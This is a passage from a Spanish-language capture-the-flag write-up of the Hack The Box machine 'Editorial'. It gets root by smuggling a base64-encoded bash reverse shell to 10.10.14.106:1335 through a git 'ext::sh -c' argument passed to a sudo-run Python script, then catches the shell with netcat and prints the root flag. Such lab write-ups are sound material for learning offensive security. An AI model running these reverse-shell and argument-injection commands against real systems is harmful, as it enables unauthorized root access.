lrwxrwxrwx  1 root root    9 Feb  6  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Oct 15  2021 .bashrc
drwxr-xr-x  3 root root 4.0K Jun  5 14:36 .cache
-rw-r--r--  1 root root   35 Feb  4  2023 .gitconfig
drwxr-xr-x  3 root root 4.0K Jun  5 14:36 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
drwx------  2 root root 4.0K Jun  5 14:36 .ssh
-rw-r-----  1 root root   33 Jul 16 00:13 root.txt
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ 

Shell

Creamos una shell inversa en base64 la cual ejecutamos con el script

1
2
3
# echo -e "bash -i >& /dev/tcp/10.10.14.106/1335 0>&1" |base64
# echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDYvMTMzNSAwPiYxCg==|base64 -d|bash
prod@editorial:/tmp$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c echo% YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDYvMTMzNSAwPiYxCg==|base64% -d|bash% >&2"

Por otro lado netcat a la escucha donde obtuvimos una shell como root y nuestra flag root.tx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
[kali@kali] [/dev/pts/9] [1]
[~/htb/editorial]> nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.106] from editorial.htb [10.10.11.20] 59844
root@editorial:/opt/internal_apps/clone_changes# whoami;id
whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@editorial:/opt/internal_apps/clone_changes# cd /root
cd /root
root@editorial:~# ls
ls
root.txt
root@editorial:~# cat root.txt
cat root.txt
50649145d2e614b2abdcf29e320d7f89
root@editorial:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe